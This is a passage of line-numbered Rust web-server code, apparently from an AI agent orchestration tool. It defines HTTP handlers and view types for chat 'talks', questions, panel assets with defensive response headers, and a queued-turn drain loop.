6922) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6923 let (view, reclaimed) = blocking({
6924 let ui = Arc::clone(&ui);
6925 move || {
6926 let id = resolve_question(&ui.questions, &id)?;
6927 let q = ui
6928 .questions
6929 .get(&id)
6930 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6931 if !q.status.open() {
6932 return Err(ApiError::conflict(format!(
6933 "question {} is already {}",
6934 q.short(),
6935 q.status.as_str()
6936 )));
6937 }
6938 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6939 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6940 return Err(ApiError::conflict(format!(
6941 "question {} has no chat to ask",
6942 q.short()
6943 )));
6944 };
6945 let cfg = if q.consult.is_none() {
6949 Some(Config::discover(&talk.repo, None)?.0)
6950 } else {
6951 None
6952 };
6953 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6954 let claim = if fresh {
6955 match ui.begin_queued_talk_turn(&talk.id)? {
6956 Some(turn_guard) => {
6957 let talk = ui.talks.get(&talk.id)?;
6958 let cfg = match cfg {
6959 Some(cfg) => cfg,
6960 None => Config::discover(&talk.repo, None)?.0,
6961 };
6962 Some((talk, cfg, turn_guard))
6963 }
6964 None => None,
6965 }
6966 } else {
6967 None
6968 };
6969 let q = ui.questions.get(&q.id)?;
6970 let cfg = deputy_config(&ui.repo);
6971 let view = QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks);
6972 Ok((view, claim))
6973 }
6974 })
6975 .await?;
6976 if let Some((talk, cfg, turn_guard)) = reclaimed {
6977 let talks = ui.talks.clone();
6978 let id = talk.id.clone();
6979 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6980 }
6981 Ok((StatusCode::ACCEPTED, Json(view)))
6982}
6983
6984fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6986 if store.path_of(id).is_file() {
6987 return Ok(id.to_owned());
6988 }
6989 pick(
6990 store.list().into_iter().map(|q| q.id).collect(),
6991 id,
6992 "question",
6993 )
6994}
6995
6996async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
7011 blocking(move || {
7012 let id = resolve_question(&ui.questions, &id)?;
7013 let Some(html) = ui.questions.panel_html(&id) else {
7014 return Err(ApiError::not_found(format!("question {id} has no panel")));
7015 };
7016 Ok(panel_response(
7017 "text/html; charset=utf-8",
7018 false,
7019 html.into_bytes(),
7020 ))
7021 })
7022 .await
7023}
7024
7025async fn question_asset(
7053 State(ui): State<Arc<Ui>>,
7054 Path((id, name)): Path<(String, String)>,
7055) -> ApiResult<Response> {
7056 if !crate::ask::valid_asset_name(&name) {
7059 return Err(ApiError::bad_request(format!(
7060 "`{name}` is not a usable asset name"
7061 )));
7062 }
7063 blocking(move || {
7064 let id = resolve_question(&ui.questions, &id)?;
7065 let asset = ui
7066 .questions
7067 .panel_asset(&id, &name)
7068 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
7069 let Some(bytes) = asset else {
7070 return Err(ApiError::not_found(format!(
7071 "question {id} has no asset `{name}`"
7072 )));
7073 };
7074 Ok(panel_response(
7075 asset_content_type(&name),
7076 is_svg(&name),
7077 bytes,
7078 ))
7079 })
7080 .await
7081}
7082
7083fn asset_content_type(name: &str) -> &'static str {
7096 match extension(name).as_deref() {
7097 Some("png") => "image/png",
7098 Some("jpg" | "jpeg") => "image/jpeg",
7099 Some("gif") => "image/gif",
7100 Some("webp") => "image/webp",
7101 Some("svg") => "image/svg+xml",
7102 Some("css") => "text/css; charset=utf-8",
7103 Some("txt") => "text/plain; charset=utf-8",
7104 _ => "application/octet-stream",
7105 }
7106}
7107
7108fn is_svg(name: &str) -> bool {
7111 extension(name).as_deref() == Some("svg")
7112}
7113
7114fn extension(name: &str) -> Option<String> {
7116 name.rsplit_once('.')
7117 .map(|(_, ext)| ext.to_ascii_lowercase())
7118}
7119
7120fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
7137 let mut res = (
7138 [
7139 (header::CONTENT_TYPE, content_type),
7140 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
7141 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7142 (header::REFERRER_POLICY, "no-referrer"),
7143 ],
7144 body,
7145 )
7146 .into_response();
7147 if download {
7148 res.headers_mut().insert(
7149 header::CONTENT_DISPOSITION,
7150 HeaderValue::from_static("attachment"),
7151 );
7152 }
7153 res
7154}
7155
7156#[derive(Debug, Serialize)]
7162struct TalkView {
7163 #[serde(flatten)]
7164 talk: Talk,
7165 turn_bodies_md: Vec<Vec<md::Node>>,
7166 turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
7168 pending_messages_md: Vec<Option<Vec<md::Node>>>,
7169 thinking: bool,
7177 context: talk::ContextUsage,
7181 operator_name: Option<String>,
7184 persona_name: Option<String>,
7186 persona_avatar: String,
7189 operator_avatar: String,
7191 magi_avatar: String,
7192}
7193
7194impl TalkView {
7195 fn new(talk: Talk, thinking: bool, home: &FsPath) -> Self {
7198 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7199 Self::with_config(talk, thinking, cfg.as_ref(), home)
7200 }
7201
7202 fn with_config(mut talk: Talk, thinking: bool, cfg: Option<&Config>, home: &FsPath) -> Self {
7205 let snapshot = talk.clone();
7207 for (index, turn) in talk.turns.iter_mut().enumerate() {
7208 let original = &snapshot.turns[index];
7209 if turn.messages.is_empty() {
7210 if let Some(display) = talk::notice_display(&snapshot, original, None) {
7211 turn.messages.push(talk::Message {
7212 sender: Some(talk::Sender::Magi),
7213 body: original.body.clone(),
7214 display: Some(display),
7215 attachments: original.attachments.clone(),
7216 reply: None,
7217 });
7218 }
7219 } else {
7220 for (i, message) in turn.messages.iter_mut().enumerate() {
7221 message.display =
7222 talk::notice_display(&snapshot, original, original.messages.get(i));
7223 if message.display.is_some() {
7224 message.sender = Some(talk::Sender::Magi);
7225 }
7226 }
7227 }
7228 }
7229 for message in &mut talk.pending_messages {
7230 if message.display.is_none()
7231 && (message.sender == Some(talk::Sender::Magi)
7232 || snapshot
7233 .completion_notices
7234 .iter()
7235 .any(|r| r.notice == message.body))
7236 {
7237 message.display = crate::prompt::legacy_notice_display(&message.body);
7238 if message.display.is_some() {
7239 message.sender = Some(talk::Sender::Magi);
7240 }
7241 }
7242 }
7243 if talk.pending_messages.is_empty()
7244 && snapshot
7245 .completion_notices
7246 .iter()
7247 .any(|r| r.notice == talk.pending)
7248 && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
7249 {
7250 talk.pending_messages.push(talk::Message {
7251 sender: Some(talk::Sender::Magi),
7252 display: Some(display),
7253 body: talk.pending.clone(),
7254 attachments: talk.pending_attachments.clone(),
7255 reply: None,
7256 });
7257 }
7258 let excerpts: Vec<Vec<Option<String>>> = talk
7259 .turns
7260 .iter()
7261 .map(|turn| {
7262 turn.messages
7263 .iter()
7264 .map(|m| {
7265 m.display
7266 .as_ref()
7267 .map(|d| d.facts.chars().take(240).collect())
7268 })
7269 .collect()
7270 })
7271 .collect();
7272 for turn in &mut talk.turns {
7273 let provenance = talk::sender(turn, None);
7274 turn.sender = Some(provenance);
7275 for message in &mut turn.messages {
7276 message.sender = Some(message.sender.unwrap_or(provenance));
7277 }
7278 }
7279 let senders: Vec<Vec<talk::Sender>> = talk
7281 .turns
7282 .iter()
7283 .map(|turn| {
7284 if turn.messages.is_empty() {
7285 vec![talk::sender(turn, None)]
7286 } else {
7287 turn.messages
7288 .iter()
7289 .map(|m| talk::sender(turn, Some(m)))
7290 .collect()
7291 }
7292 })
7293 .collect();
7294 for reply in talk
7295 .turns
7296 .iter_mut()
7297 .flat_map(|t| t.messages.iter_mut())
7298 .chain(talk.pending_messages.iter_mut())
7299 .filter_map(|m| m.reply.as_mut())
7300 {
7301 if let Some(Some(excerpt)) = excerpts
7302 .get(reply.target.turn)
7303 .and_then(|ms| ms.get(reply.target.message))
7304 {
7305 reply.excerpt = excerpt.clone();
7306 reply.sender = Some(talk::Sender::Magi);
7307 }
7308 if reply.sender.is_none() {
7309 reply.sender = senders
7310 .get(reply.target.turn)
7311 .and_then(|messages| messages.get(reply.target.message))
7312 .copied();
7313 }
7314 }
7315 let context = talk::context_usage(&talk, cfg);
7316 let turn_bodies_md = talk
7317 .turns
7318 .iter()
7319 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
7320 .collect();
7321 let turn_messages_md = talk
7322 .turns
7323 .iter()
7324 .map(|turn| {
7325 if turn.messages.is_empty() {
7326 vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
7327 } else {
7328 turn.messages
7329 .iter()
7330 .map(|message| {
7331 notice_markdown(
7332 message.sender.unwrap_or(talk::Sender::Operator),
7333 &message.body,
7334 message.display.as_ref(),
7335 )
7336 })
7337 .collect()
7338 }
7339 })
7340 .collect();
7341 let pending_messages_md = talk
7342 .pending_messages
7343 .iter()
7344 .map(|message| {
7345 notice_markdown(
7346 message.sender.unwrap_or(talk::Sender::Operator),
7347 &message.body,
7348 message.display.as_ref(),
7349 )
7350 })
7351 .collect();
7352 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
7353 let persona_name = persona::find(specs, &talk.persona)
7354 .filter(|p| !p.is_default())
7355 .map(|p| p.name);
7356 let persona_avatar = avatar_url(
7357 &talk.id,
7358 &persona::find(specs, &talk.persona)
7359 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default")),
7360 );
7361 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
7362 Self {
7363 turn_bodies_md,
7364 turn_messages_md,
7365 pending_messages_md,
7366 thinking,
7367 context,
7368 operator_name,
7369 persona_name,
7370 persona_avatar,
7371 magi_avatar: magi_icon_url(home),
7372 operator_avatar: format!(
7373 "/avatars/operator.svg?v={}",
7374 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
7375 ),
7376 talk,
7377 }
7378 }
7379}
7380
7381fn notice_markdown(
7383 sender: talk::Sender,
7384 body: &str,
7385 display: Option<&crate::prompt::NoticeDisplay>,
7386) -> Option<Vec<md::Node>> {
7387 if sender != talk::Sender::Magi {
7388 return None;
7389 }
7390 let text = if let Some(display) = display {
7391 display.facts.as_str()
7392 } else {
7393 if crate::prompt::is_completion_notice(body)
7396 || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
7397 {
7398 return None;
7399 }
7400 body.strip_prefix("magi: ").unwrap_or(body)
7401 };
7402 Some(md::to_nodes(text, &md::ImageBase::None))
7403}
7404
7405#[derive(Debug, Serialize)]
7410struct TalkDetailView {
7411 #[serde(flatten)]
7412 view: TalkView,
7413 tasks: Vec<TaskView>,
7414 task_progress: TalkTaskProgress,
7415 roster: Vec<RosterEntry>,
7418 personas: Vec<PersonaEntry>,
7421}
7422
7423#[derive(Debug, Serialize)]
7425struct TalkTaskProgress {
7426 state: &'static str,
7427 total: usize,
7428 done: usize,
7429 counts: std::collections::BTreeMap<&'static str, usize>,
7430 unfinished_ids: Vec<String>,
7431}
7432
7433fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
7434 let mut counts = std::collections::BTreeMap::from([
7435 ("queued", 0),
7436 ("running", 0),
7437 ("done", 0),
7438 ("failed", 0),
7439 ("held", 0),
7440 ("blocked", 0),
7441 ("parked", 0),
7442 ]);
7443 let mut unfinished_ids = Vec::new();
7444 for task in tasks {
7445 *counts.entry(task.status.as_str()).or_default() += 1;
7446 if task.status != TaskStatus::Done {
7447 unfinished_ids.push(task.id.clone());
7448 }
7449 }
7450 TalkTaskProgress {
7451 state: if tasks.is_empty() {
7452 "none"
7453 } else if unfinished_ids.is_empty() {
7454 "complete"
7455 } else {
7456 "incomplete"
7457 },
7458 total: tasks.len(),
7459 done: tasks.len() - unfinished_ids.len(),
7460 counts,
7461 unfinished_ids,
7462 }
7463}
7464
7465#[derive(Debug, Serialize)]
7467struct PersonaEntry {
7468 id: String,
7469 name: String,
7470 avatar: String,
7472}
7473
7474#[derive(Debug, Serialize)]
7476struct RosterEntry {
7477 id: String,
7478 kind: AgentKind,
7479 runnable: bool,
7481}
7482
7483async fn talks_list(
7488 State(ui): State<Arc<Ui>>,
7489 Query(q): Query<ListQuery>,
7490) -> ApiResult<Json<Vec<TalkView>>> {
7491 blocking(move || {
7492 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
7493 Ok(Json(
7494 ui.talks
7495 .list()
7496 .into_iter()
7497 .filter(|talk| q.contains(&talk.id))
7498 .map(|talk| {
7499 let thinking = ui.is_thinking(&talk.id);
7500 let cfg = configs
7501 .entry(talk.repo.clone())
7502 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
7503 TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home)
7504 })
7505 .collect(),
7506 ))
7507 })
7508 .await
7509}
7510
7511#[derive(Debug, Default, Deserialize)]
7516#[serde(default)]
7517struct NewTalk {
7518 agent: Option<String>,
7519 repo: Option<PathBuf>,
7520 preferred_agent: Option<serde_json::Value>,
7524 persona: Option<serde_json::Value>,
7525 implementers: Option<serde_json::Value>,
7526}
7527
7528async fn talk_post(
7531 State(ui): State<Arc<Ui>>,
7532 body: std::result::Result<Json<NewTalk>, JsonRejection>,
7533) -> ApiResult<impl IntoResponse> {
7534 let body = match body {
7538 Ok(Json(body)) => body,
7539 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
7540 Err(e) => return Err(ApiError::bad_request(e.body_text())),
7541 };
7542 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
7543 let cfg = config_for(&repo).await?;
7544 let view = blocking(move || {
7545 let preferred = talk::Preferred {
7546 agent: body
7547 .preferred_agent
7548 .as_ref()
7549 .and_then(|v| v.as_str())
7550 .map(str::to_owned),
7551 persona: body
7552 .persona
7553 .as_ref()
7554 .and_then(|v| v.as_str())
7555 .map(str::to_owned),
7556 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
7557 };
7558 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
7559 let thinking = ui.is_thinking(&talk.id);
7560 Ok(TalkView::new(talk, thinking, &ui.home))
7561 })
7562 .await?;
7563 Ok((StatusCode::CREATED, Json(view)))
7564}
7565
7566async fn talk_detail(
7568 State(ui): State<Arc<Ui>>,
7569 Path(id): Path<String>,
7570) -> ApiResult<Json<TalkDetailView>> {
7571 blocking(move || {
7572 let id = resolve_talk(&ui.talks, &id)?;
7573 let talk = ui.talks.get(&id)?;
7574 let thinking = ui.is_thinking(&talk.id);
7575 let tasks = talk::tasks_of(&ui.queue, &talk.id);
7576 let task_progress = talk_task_progress(&tasks);
7577 let tasks = tasks.into_iter().map(TaskView::from).collect();
7578 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7579 let roster = cfg
7580 .as_ref()
7581 .map(|cfg| {
7582 cfg.agents
7583 .iter()
7584 .map(|a| RosterEntry {
7585 id: a.id.clone(),
7586 kind: a.kind,
7587 runnable: agent::installed(a),
7588 })
7589 .collect()
7590 })
7591 .unwrap_or_default();
7592 let specs = cfg
7593 .as_ref()
7594 .map(|cfg| cfg.talk.personas.clone())
7595 .unwrap_or_default();
7596 let personas = persona::catalog(&specs)
7597 .into_iter()
7598 .map(|p| PersonaEntry {
7599 avatar: avatar_url(&talk.id, &p),
7600 id: p.id,
7601 name: p.name,
7602 })
7603 .collect();
7604 Ok(Json(TalkDetailView {
7605 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home),
7606 tasks,
7607 task_progress,
7608 roster,
7609 personas,
7610 }))
7611 })
7612 .await
7613}
7614
7615#[derive(Debug, Default, Deserialize)]
7621#[serde(default, deny_unknown_fields)]
7622struct NewTalkTurn {
7623 reply_to: Option<talk::ReplyTarget>,
7624 text: String,
7625 attachments: Vec<String>,
7626}
7627
7628#[derive(Debug, Deserialize)]
7629#[serde(deny_unknown_fields)]
7630struct EditTalkPending {
7631 #[serde(default)]
7632 message: Option<usize>,
7633 text: String,
7634 expected_text: String,
7635 expected_attachments: Vec<String>,
7636}
7637
7638#[derive(Debug, Deserialize)]
7639#[serde(deny_unknown_fields)]
7640struct ClearTalkPending {
7641 expected_text: String,
7642 expected_attachments: Vec<String>,
7643}
7644
7645async fn talk_say(
7657 State(ui): State<Arc<Ui>>,
7658 Path(id): Path<String>,
7659 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
7660) -> ApiResult<(StatusCode, Json<TalkView>)> {
7661 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7662 if body.text.trim().is_empty() && body.attachments.is_empty() {
7663 return Err(ApiError::bad_request("say something"));
7664 }
7665
7666 let id = {
7667 let ui = Arc::clone(&ui);
7668 let asked = id.clone();
7669 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7670 };
7671 {
7675 let ui = Arc::clone(&ui);
7676 let id = id.clone();
7677 blocking(move || {
7678 let talk = ui.talks.get(&id)?;
7679 if !talk.status.open() {
7680 return Err(ApiError::conflict(format!(
7681 "talk {} is {} and takes no more turns",
7682 talk.short(),
7683 talk.status.as_str()
7684 )));
7685 }
7686 Ok(())
7687 })
7688 .await?;
7689 }
7690
7691 let attachments = {
7696 let ui = Arc::clone(&ui);
7697 let id = id.clone();
7698 let ids = body.attachments.clone();
7699 blocking(move || {
7700 ids.into_iter()
7701 .map(|att_id| {
7702 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
7703 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
7704 })
7705 })
7706 .collect::<ApiResult<Vec<talk::Attachment>>>()
7707 })
7708 .await?
7709 };
7710
7711 let start = {
7716 let ui = Arc::clone(&ui);
7717 let id = id.clone();
7718 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
7719 };
7720 let turn_guard = match start {
7721 TalkTurnStart::Claimed(turn_guard) => turn_guard,
7722 TalkTurnStart::Pending => {
7723 return Err(ApiError::conflict(
7724 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
7725 ));
7726 }
7727 TalkTurnStart::Foreign => {
7728 return Err(ApiError::conflict(
7729 "a turn is already running in another process; try again when it has finished",
7730 ));
7731 }
7732 TalkTurnStart::Busy => {
7733 let (tx, rx) = tokio::sync::oneshot::channel();
7749 tokio::spawn({
7750 let ui = Arc::clone(&ui);
7751 let id = id.clone();
7752 let said = body.text.clone();
7753 let reply_to = body.reply_to.clone();
7754 async move {
7755 let written = blocking({
7756 let ui = Arc::clone(&ui);
7757 let id = id.clone();
7758 move || {
7759 let mut talk = ui.talks.get(&id)?;
7760 #[cfg(test)]
7765 if let Some(gate) = ui
7766 .busy_queue_gate
7767 .lock()
7768 .unwrap_or_else(PoisonError::into_inner)
7769 .take()
7770 {
7771 let _ = gate.reached.send(());
7772 let _ = gate.release.recv();
7773 }
7774 if let Err(error) = talk::queue_reply(
7775 &mut talk,
7776 &ui.talks,
7777 &said,
7778 attachments,
7779 reply_to,
7780 ) {
7781 if let Ok(fresh) = ui.talks.get(&id) {
7782 if !fresh.status.open() {
7783 return Err(ApiError::conflict(format!(
7784 "talk {} is {} and takes no more turns",
7785 fresh.short(),
7786 fresh.status.as_str()
7787 )));
7788 }
7789 }
7790 return Err(
7791 if error.to_string().contains("invalid reply target") {
7792 ApiError::bad_request("invalid reply target")
7793 } else {
7794 ApiError::from(error)
7795 },
7796 );
7797 }
7798 let claim = match ui.begin_queued_talk_turn(&id)? {
7809 Some(turn_guard) => {
7810 let (cfg, _) = Config::discover(&talk.repo, None)?;
7811 Some((talk.clone(), cfg, turn_guard))
7812 }
7813 None => None,
7814 };
7815 let thinking = ui.is_thinking(&id);
7816 Ok((TalkView::new(talk, thinking, &ui.home), claim))
7817 }
7818 })
7819 .await;
7820 let (view, reclaimed) = match written {
7821 Ok(pair) => pair,
7822 Err(e) => {
7823 let _ = tx.send(Err(e));
7828 return;
7829 }
7830 };
7831 let _ = tx.send(Ok(view));
7834 if let Some((talk, cfg, turn_guard)) = reclaimed {
7835 let talks = ui.talks.clone();
7836 drain_loop(talk, talks, cfg, id, turn_guard).await;
7837 }
7838 }
7839 });
7840 let view = rx
7841 .await
7842 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7843 return Ok((StatusCode::ACCEPTED, Json(view)));
7844 }
7845 };
7846
7847 let (talk, cfg) = {
7848 let ui = Arc::clone(&ui);
7849 let id = id.clone();
7850 blocking(move || {
7851 let talk = ui.talks.get(&id)?;
7852 let (cfg, _) = Config::discover(&talk.repo, None)?;
7853 Ok((talk, cfg))
7854 })
7855 .await?
7856 };
7857
7858 let talks = ui.talks.clone();
7859 let (tx, rx) = tokio::sync::oneshot::channel();
7874 tokio::spawn({
7875 let ui = Arc::clone(&ui);
7876 let talks = talks.clone();
7877 let id = id.clone();
7878 let said = body.text.clone();
7879 let reply_to = body.reply_to.clone();
7880 let mut talk = talk.clone();
7881 async move {
7882 let recorded = blocking({
7883 let talks = talks.clone();
7884 move || {
7885 if let Err(error) =
7886 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
7887 {
7888 if let Ok(fresh) = talks.get(&talk.id) {
7889 if !fresh.status.open() {
7890 return Err(ApiError::conflict(format!(
7891 "talk {} is {} and takes no more turns",
7892 fresh.short(),
7893 fresh.status.as_str()
7894 )));
7895 }
7896 }
7897 return Err(if error.to_string().contains("invalid reply target") {
7898 ApiError::bad_request("invalid reply target")
7899 } else {
7900 ApiError::from(error)
7901 });
7902 }
7903 Ok((said.trim().to_owned(), talk))
7909 }
7910 })
7911 .await;
7912 let (text, mut talk) = match recorded {
7913 Ok(pair) => pair,
7914 Err(e) => {
7915 let _ = tx.send(Err(e));
7919 return;
7920 }
7921 };
7922 let queued = talk.clone();
7923 let thinking = ui.is_thinking(&id);
7924 let _ = tx.send(Ok((queued, thinking)));
7927
7928 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
7929 tracing::warn!("talk {id} turn failed: {e:#}");
7933 }
7934 drain_loop(talk, talks, cfg, id, turn_guard).await;
7937 }
7938 });
7939
7940 let (queued, thinking) = rx
7941 .await
7942 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7943
7944 Ok((
7946 StatusCode::ACCEPTED,
7947 Json(TalkView::new(queued, thinking, &ui.home)),
7948 ))
7949}
7950
7951async fn talk_pending_resume(
7955 State(ui): State<Arc<Ui>>,
7956 Path(id): Path<String>,
7957) -> ApiResult<(StatusCode, Json<TalkView>)> {
7958 let id = {
7959 let ui = Arc::clone(&ui);
7960 let asked = id.clone();
7961 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7962 };
7963 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7964 return Err(ApiError::conflict(
7965 "a talk turn is already running; the queued draft will be handled by it",
7966 ));
7967 };
7968 let (talk, cfg) = {
7969 let ui = Arc::clone(&ui);
7970 let id = id.clone();
7971 blocking(move || {
7972 let talk = ui.talks.get(&id)?;
7973 if !talk.status.open() {
7974 return Err(ApiError::conflict(format!(
7975 "talk {} is {} and takes no more turns",
7976 talk.short(),
7977 talk.status.as_str()
7978 )));
7979 }
7980 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7981 return Err(ApiError::conflict("there is no queued draft to resume"));
7982 }
7983 let (cfg, _) = Config::discover(&talk.repo, None)?;
7984 Ok((talk, cfg))
7985 })
7986 .await?
7987 };
7988 let view = TalkView::new(talk.clone(), true, &ui.home);
7989 let talks = ui.talks.clone();
7990 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7991 Ok((StatusCode::ACCEPTED, Json(view)))
7992}
7993
7994async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
8010 drain_loop_started(talk, talks, cfg, id, turn, None).await;
8011}
8012
8013async fn settle_settings_turn(
8017 talk: Talk,
8018 talks: Talks,
8019 cfg: Config,
8020 id: String,
8021 turn: TalkTurnGuard,
8022 observed: u64,
8023) -> bool {
8024 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8025 let turns = Arc::clone(&turn.turns);
8026 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
8027 if live.queued.get(&id).copied().unwrap_or(0) == observed {
8028 turn.release(&mut live);
8030 return false;
8031 }
8032 }
8033 let (started, settled) = tokio::sync::oneshot::channel();
8034 tokio::spawn(drain_loop_started(
8035 talk,
8036 talks,
8037 cfg,
8038 id,
8039 turn,
8040 Some(started),
8041 ));
8042 settled.await.unwrap_or(false)
8043}
8044
8045async fn drain_loop_started(
8046 mut talk: Talk,
8047 talks: Talks,
8048 cfg: Config,
8049 id: String,
8050 turn: TalkTurnGuard,
8051 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
8052) {
8053 let live_set = Arc::clone(&turn.turns);
8054 let mut turn = Some(turn);
8062 loop {
8063 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
8064 tracing::warn!("talk {id} lost its turn lease; not draining further");
8067 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8068 if let Some(turn) = turn.take() {
8069 turn.release(&mut live);
8070 }
8071 break;
8072 }
8073 {
8074 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8077 if live.parking {
8078 if let Some(turn) = turn.take() {
8079 turn.release(&mut live);
8080 }
8081 break;
8082 }
8083 }
8084 let observed = live_set
8088 .lock()
8089 .unwrap_or_else(PoisonError::into_inner)
8090 .queued
8091 .get(&id)
8092 .copied()
8093 .unwrap_or(0);
8094 let drained = blocking({
8095 let talks = talks.clone();
8096 let live_set = Arc::clone(&live_set);
8097 move || {
8098 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8103 let result = if live.parking {
8104 Ok(None)
8105 } else {
8106 talk::drain(&mut talk, &talks)
8107 };
8108 drop(live);
8109 Ok((talk, result))
8110 }
8111 })
8112 .await;
8113 let (next_talk, result) = match drained {
8114 Ok(drained) => drained,
8115 Err(e) => {
8116 tracing::warn!(
8117 status = %e.status,
8118 message = %e.message,
8119 "talk {id} could not start queued-text drain"
8120 );
8121 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8122 turn.take()
8123 .expect("held for the whole loop until released here")
8124 .release(&mut live);
8125 break;
8126 }
8127 };
8128 talk = next_talk;
8129 let drained = match result {
8130 Ok(Some(drained)) => drained,
8131 Ok(None) => {
8132 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8133 if live.queued.get(&id).copied().unwrap_or(0) != observed {
8134 continue;
8135 }
8136 turn.take()
8137 .expect("held for the whole loop until released here")
8138 .release(&mut live);
8139 break;
8140 }
8141 Err(e) => {
8142 tracing::warn!("talk {id} could not drain queued text: {e:#}");
8143 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8144 turn.take()
8145 .expect("held for the whole loop until released here")
8146 .release(&mut live);
8147 break;
8148 }
8149 };
8150 if let Some(started) = started.take() {
8151 let _ = started.send(true);
8152 }
8153 let responded = match turn.as_ref() {
8154 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
8155 None => Err(anyhow::anyhow!("the turn guard was released")),
8156 };
8157 if let Err(e) = responded {
8158 tracing::warn!("talk {id} turn failed: {e:#}");
8159 }
8160 }
8161 drop(turn);
8162 if let Some(started) = started {
8163 let _ = started.send(false);
8164 }
8165}
8166
8167async fn talk_pending_clear(
8169 State(ui): State<Arc<Ui>>,
8170 Path(id): Path<String>,
8171 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
8172) -> ApiResult<Json<TalkView>> {
8173 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8174 blocking(move || {
8175 let id = resolve_talk(&ui.talks, &id)?;
8176 let mut talk = ui.talks.get(&id)?;
8177 if !talk.status.open() {
8178 return Err(ApiError::conflict(format!(
8179 "talk {} is {} and takes no more turns",
8180 talk.short(),
8181 talk.status.as_str()
8182 )));
8183 }
8184 if !talk::clear_pending_if_matches(
8185 &mut talk,
8186 &ui.talks,
8187 &body.expected_text,
8188 &body.expected_attachments,
8189 )? {
8190 return Err(ApiError::conflict(
8191 "queued message changed; reload it before clearing",
8192 ));
8193 }
8194 let thinking = ui.is_thinking(&talk.id);
8195 Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8196 })
8197 .await
8198}
8199
8200async fn talk_pending_edit(
8204 State(ui): State<Arc<Ui>>,
8205 Path(id): Path<String>,
8206 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
8207) -> ApiResult<Json<TalkView>> {
8208 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8209 let (view, reclaimed) = blocking({
8210 let ui = Arc::clone(&ui);
8211 move || {
8212 let id = resolve_talk(&ui.talks, &id)?;
8213 let mut talk = ui.talks.get(&id)?;
8214 if !talk.status.open() {
8215 return Err(ApiError::conflict(format!(
8216 "talk {} is {} and takes no more turns",
8217 talk.short(),
8218 talk.status.as_str()
8219 )));
8220 }
8221 if !talk::edit_pending_message(
8222 &mut talk,
8223 &ui.talks,
8224 &body.text,
8225 &body.expected_text,
8226 &body.expected_attachments,
8227 body.message,
8228 )? {
8229 return Err(ApiError::conflict(
8230 "queued message changed; reload it before editing",
8231 ));
8232 }
8233 let claim = match ui.begin_queued_talk_turn(&id)? {
8234 Some(turn_guard) => {
8235 let (cfg, _) = Config::discover(&talk.repo, None)?;
8236 Some((talk.clone(), cfg, id.clone(), turn_guard))
8237 }
8238 None => None,
8239 };
8240 let thinking = ui.is_thinking(&id);
8241 Ok((TalkView::new(talk, thinking, &ui.home), claim))
8242 }
8243 })
